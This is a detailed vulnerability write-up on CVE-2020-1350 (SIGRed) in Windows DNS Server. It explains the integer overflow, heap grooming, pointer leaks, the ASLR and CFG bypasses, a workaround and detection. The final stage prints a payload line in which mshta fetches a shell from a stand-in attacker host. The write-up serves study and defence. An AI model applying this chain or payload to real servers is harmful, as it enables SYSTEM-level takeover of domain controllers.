CVE-2020-1350 — SIGRed: Windows DNS Server Heap Overflow (dns.exe)
Last updated: 2026-04-11
Severity: Critical (CVSS 10.0)
Component: dns.exe (Windows DNS Server service)
Bug Class: Integer Overflow → Heap Buffer Overflow
Privilege Escalation: Unauthenticated Remote → SYSTEM / Domain Admin
Patch: July 2020 Patch Tuesday (KB4565503 / July 14, 2020)
Tags:user-mode,integer-overflow,heap-overflow,info-leak,aaw,aar,cfg,aslr-bypass
Related: Heap Grooming, Integer Overflows, Mitigations
Vulnerability Summary
A 16-bit integer overflow in dns!SigWireRead when parsing a DNS SIG resource record response allows a remote attacker to cause a heap buffer overflow in the WinDNS custom memory allocator. On Windows Server, dns.exe runs as NT AUTHORITY\SYSTEM. A Windows DNS server is typically a Domain Controller, so exploitation achieves Domain Admin access over the entire corporate infrastructure. Rated CVSS 10.0.
Discovered by: Sagi Tzadik, Check Point Research (disclosed July 14, 2020 — 17-year-old bug).
RCE PoC: chompie1337 — first and only public RCE exploit (GitHub: chompie1337/SIGRed_RCE_PoC).
Root Cause Analysis
Vulnerable Function: dns!SigWireRead
// Simplified decompilation (vulnerable portion):
// 'sigName.Length' is inflated via DNS name compression (see Trigger section)
// 'signatureLength' is from the SIG record data
USHORT totalSize = signatureLength + sigName.Length + 0x14; // 16-bit overflow!
RR_AllocateEx(totalSize, ...); // undersized allocation
// memcpy then copies full signature → overflow
RR_AllocateEx receives a USHORT (16-bit unsigned). If signatureLength + sigName.Length + 0x14 > 0xFFFF, the sum wraps to a small value, allocating a tiny buffer while the subsequent memcpy copies the full (large) signature.
Trigger Path
- Attacker registers an evil domain with an
NSrecord pointing to an attacker-controlled DNS server. - A client queries the victim DNS server for the evil domain.
- The victim server queries upstream, receives the
NSresponse, and caches the malicious DNS server as authority. Record cached in victim’s DNS cache. - A client sends a
SIGquery for a subdomain to the victim. - The victim queries the malicious DNS server → malicious server returns a crafted
SIGresponse.
Why UDP Doesn’t Work
DNS over UDP is limited to 512 bytes (or 4096 with EDNS0) — insufficient to trigger the overflow. DNS over TCP supports up to 64KB. The malicious server responds with a truncation bit set to force the victim to retry over TCP.
DNS Name Compression Trick
The 64KB TCP limit still isn’t enough because the overflow requires sigName.Length to be artificially large. DNS name compression pointers (two-byte sequence with 0xC0 prefix + 14-bit offset) are used to point the name offset into the signature bytes of the packet, inflating sigName.Length far beyond the actual bytes used:
0xC0 0x0D → name pointer to offset 0x0D from message start
(points into signature data, tricking SigWireRead into
computing a large sigName.Length from the extended region)
Maximum DNS name = 0xFF bytes. signatureLength(~64KB) + sigName.Length(~0xFF) + 0x14 triggers overflow while staying under the 64KB TCP message limit.
WinDNS Custom Memory Allocator
dns.exe manages its own memory pools (dns!Mem_Alloc), bypassing the Windows native heap for small allocations:
| Bucket | Object size | Chunk requested from native heap | Chunk size |
|---|---|---|---|
| 1 | ≤ 0x50 bytes | HeapAlloc(0xFF0) | ~0x41FF0 |
| 2 | ≤ 0x68 bytes | HeapAlloc(0xFD8) | ~0x41FF0 |
| 3 | ≤ 0x88 bytes | HeapAlloc(0xFF0) | ~0x41FF0 |
| 4 | ≤ 0xA0 bytes | HeapAlloc(0xFA0) | ~0x41FF0 |
| Large | > 0xA0 bytes | Direct HeapAlloc | variable |
Key properties:
- LIFO freelist: each bucket is a singly linked list; last freed = next allocated
- No return to native heap: freed buffers push back onto bucket freelist, never back to
HeapAlloc - Contiguous segments: each chunk from
HeapAlloccontains only WinDNS bucket buffers — no other allocations mix in
Buffer Structures
// In-use buffer header:
struct WINDNS_BUFF {
DWORD realSize; // actual allocation size from bucket
DWORD dataSize; // logical data size
// ... data follows
};
// Freed buffer overlay:
struct WINDNS_FREE_BUFF {
WINDNS_BUFF* pNextFreeBuff; // LIFO freelist pointer — set on free
// ... rest unused
};
// Cached DNS record:
struct RR_Record {
DWORD dwTTL; // Time-to-live; zeroed → immediate free on next lookup
DWORD dwTimeStamp; // Cache timestamp; zeroed → record treated as expired
WORD wRecordSize; // Bucket size; forged = control allocation target size
WORD wRecordType; // DNS record type (NS, SIG, A, etc.)
// ... record data
};
Exploitation Technique
Overview
The exploit has 6 stages, all driven by the malicious DNS server:
1. Heap grooming → avoid SEGFAULT + avoid cache tree corruption
2. Overflow into controlled RR_Record spray
3. Leak heap address (via WINDNS_FREE_BUFF.pNextFreeBuff)
4. Leak dns.exe code pointer (via DNS_Timeout.pFreeFunction = dns!RR_Free)
5. Break msvcrt.dll ASLR (via arbitrary read of dns!_imp_exit)
6. RCE via DNS_Timeout.pFreeFunction = msvcrt!system
Stage 1: Heap Grooming
Problem 1: SEGFAULT during memcpy
The memcpy of the oversized signature into the undersized buffer walks forward into unmapped memory. The fix: keep the overflow buffer size < 0xA0 so it lands inside a WinDNS bucket chunk (~0x41FF0 native heap segment). These segments are contiguous and filled with bucket buffers — very unlikely to hit an unmapped page.
Problem 2: Overwriting Cache Tree Objects
The DNS record cache is stored as a binary tree. Nodes are 0x88-byte objects allocated from Bucket 3. When the overflow walks forward, it hits tree nodes and causes a crash on the next tree traversal.
Solution: Exhaust the Bucket 3 freelist by pre-allocating many 0x88 objects and then freeing them. The freed objects return to the Bucket 3 freelist — subsequent tree allocations use the freelist rather than requesting new native heap chunks. Then spray enough records to fill the area around the vulnerable buffer entirely with attacker-controlled records (not tree nodes).
Making a Hole for the Overflowing Buffer
- Spray many subdomain queries to the victim → malicious DNS server responds with records, victim caches them (heap spray). Assign long TTL to all except one.
- Assign short TTL to one target subdomain.
- Wait ~2 minutes for WinDNS’s cache cleanup to free the expired record buffer.
- Re-query the expired subdomain with the malformed SIG record → LIFO ensures the overflow buffer occupies the exact same freed slot.
TTL is the heap primitive: the malicious DNS server controls TTL on all responses, giving full control over which heap buffers live and which are freed.
Stage 2: Overflow into Fake RR_Records
After grooming, the overflow lands inside the attacker-controlled heap spray region. Because WinDNS bucket chunks only contain bucket buffers of the same size, and because spray order = heap order (LIFO builds contiguous blocks within a new native chunk), the exploit knows exactly which subdomain records will be overwritten. Fake RR_Record and WINDNS_BUFF structures are constructed in the SIG signature data:
- Forge
dwTTL = 0,dwTimeStamp = 0→ trigger immediate free on next query - Forge
wRecordSize→ control which bucket size is served on reallocation - Forge
WINDNS_BUFF.dataSize→ control how many bytes are returned in a DNS response (read primitive width)
Stage 3: Heap Address Leak
1. Free fake RR_Record[i] via zeroed TTL/timestamp trick (query for subdomain i)
2. In RR_Record[i-1], set wRecordSize to large value
3. Query subdomain [i-1] → WinDNS returns wRecordSize bytes
4. Response walks past real end of buffer into freed buffer[i]
5. Freed buffer contains WINDNS_FREE_BUFF.pNextFreeBuff (from LIFO free)
→ pNextFreeBuff = address of the previously freed buffer
6. Free two buffers in sequence → pNextFreeBuff of second = first freed buffer's address
→ controlled heap region address is now known
Stage 4: dns.exe Code Pointer Leak (DNS_Timeout Object)
A DNS_Timeout object is allocated by dns!Timeout_FreeWithFunctionEx when an NS, SOA, WINS, or WINSR record expires. It is 0x50 bytes (Bucket 1).
struct DNS_Timeout {
void* pFreeFunction; // = dns!RR_Free on allocation — CODE POINTER
char* pszFile; // = filename string — CODE POINTER
void* pFreeFuncParam; // parameter passed to pFreeFunction
// ...
};
To allocate a DNS_Timeout in the controlled heap region:
- Free a fake RR_Record with
wRecordSize = 0x50(fake the bucket size to 0x50). - Make NS-type queries to the victim for the evil domain → each query eventually creates a DNS_Timeout object when the NS record expires.
- Due to LIFO, the DNS_Timeout lands in the freed-0x50 slot.
- Read past the adjacent fake record to leak
pFreeFunction=dns!RR_Freeaddress.
ASLR defeat: last 12 bits of pFreeFunction are deterministic per dns.exe version → map to known offset → compute dns.exe base.
Stage 5: Arbitrary Read → msvcrt.dll ASLR Defeat
Using dns!NsecDnsRecordConvert as a CFG-valid call target (see Stage 6 below for CFG bypass rationale):
NsecDnsRecordConvert(param) where param->pDnsString = target_address_to_read
Inside NsecDnsRecordConvert, Dns_StringCopy(pDnsString) allocates a new buffer and copies bytes from pDnsString until a null byte. By:
- Overwriting
DNS_Timeout.pFreeFunction = dns!NsecDnsRecordConvert - Setting
pFreeFuncParam.pDnsString = dns!_imp_exit(pointer tomsvcrt!exitin dns.exe import table) - Setting
wSizeto force new buffer allocation into controlled heap area
The copied data contains the msvcrt!exit pointer → leak msvcrt.dll base → compute msvcrt!system address.
Import address chosen: dns!_imp_exit — its value does not contain a null byte in the versions tested, so Dns_StringCopy copies the full 8-byte pointer.
Stage 6: Remote Code Execution
CFG bypass: dns.exe is compiled with CFG. Stack corruption for ROP is not available (no stable stack write primitive at this stage). Instead, use a valid CFG target with exploitable semantics:
- For arbitrary read:
dns!NsecDnsRecordConvert— one-parameter function; callsDns_StringCopy(param->pDnsString)→ read from arbitrary address - For RCE:
msvcrt!system— one-parameter function, not in dns.exe’s CFG bitmap but dns.exe calls msvcrt functions via import table. WhenpFreeFunctionis overwritten inDNS_TimeoutandTimeout_CleanupDelayedFreeListdispatches it, callingmsvcrt!systemis legal because CFG is checked against the call-site’s bitmap, andmsvcrt!systemis in a valid range.
Final state of DNS_Timeout object:
pFreeFunction = msvcrt!system
pFreeFuncParam = heap_addr_of_cmd_string
heap[cmd_addr] = "mshta.exe http://attacker/shell.hta"
Trigger: Timeout_CleanupDelayedFreeList() →
for each timeout_obj in CoolingDelayedFreeList:
timeout_obj->pFreeFunction(timeout_obj->pFreeFuncParam)
→ system("mshta.exe http://attacker/shell.hta") → SYSTEM shell
Key Primitives Used
| Primitive | Mechanism |
|---|---|
| Heap grooming (application-specific) | WinDNS LIFO bucket + TTL control + “make a hole” via TTL expiry |
| Controlled heap free | Zero RR_Record.dwTTL + dwTimeStamp in overflowed fake record; query triggers immediate free |
| Controlled heap alloc | Fake WINDNS_BUFF.realSize → reallocates different-size objects into controlled slot |
| Heap address leak | WINDNS_FREE_BUFF.pNextFreeBuff visible via adjacent large-wRecordSize read |
| dns.exe code pointer leak | DNS_Timeout.pFreeFunction = dns!RR_Free via adjacent read |
| Arbitrary read | dns!NsecDnsRecordConvert as CFG-valid callback; Dns_StringCopy(pDnsString) copies from target address |
| msvcrt ASLR defeat | Arbitrary read of dns!_imp_exit import address |
| CFG bypass | Valid-but-exploitable CFG targets (NsecDnsRecordConvert, msvcrt!system) |
| RCE | msvcrt!system as DNS_Timeout.pFreeFunction + heap command string |
Mitigations Bypassed
| Mitigation | Method |
|---|---|
| ASLR (dns.exe) | DNS_Timeout.pFreeFunction leak (code pointer written by kernel on alloc) |
| ASLR (msvcrt.dll) | Arbitrary read of dns!_imp_exit |
| CFG | Valid CFG targets with exploitable semantics (no bitmap corruption needed) |
| Stack canaries / DEP | Irrelevant — no stack corruption, no shellcode injection; pure heap + data-only technique |
Workaround
Registry key limits DNS TCP receive size to 0xFF00, preventing the overflow:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS\Parameters" /v "TcpReceivePacketSize" /t REG_DWORD /d 0xFF00 /f
net stop DNS && net start DNS
Detection
- Monitor for anomalous child processes of
dns.exe(e.g.,mshta.exe,cmd.exe,powershell.exe) - Note: an attacker can rework the exploit to stay within the dns.exe process context
References
- chompie1337, “Anatomy of an Exploit - RCE with SIGRed”, chomp.ie, 2021; PoC: github.com/chompie1337/SIGRed_RCE_PoC
- Sagi Tzadik (Check Point Research), “Resolving Your Way Into Domain Admin: Exploiting a 17-Year-Old Bug in Windows DNS Servers”, research.checkpoint.com, July 2020
- datafarm-cybersecurity, “Exploiting SIGRed on Windows Server 2012/2016/2019”, Medium, 2020
- MSRC Advisory: https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-1350
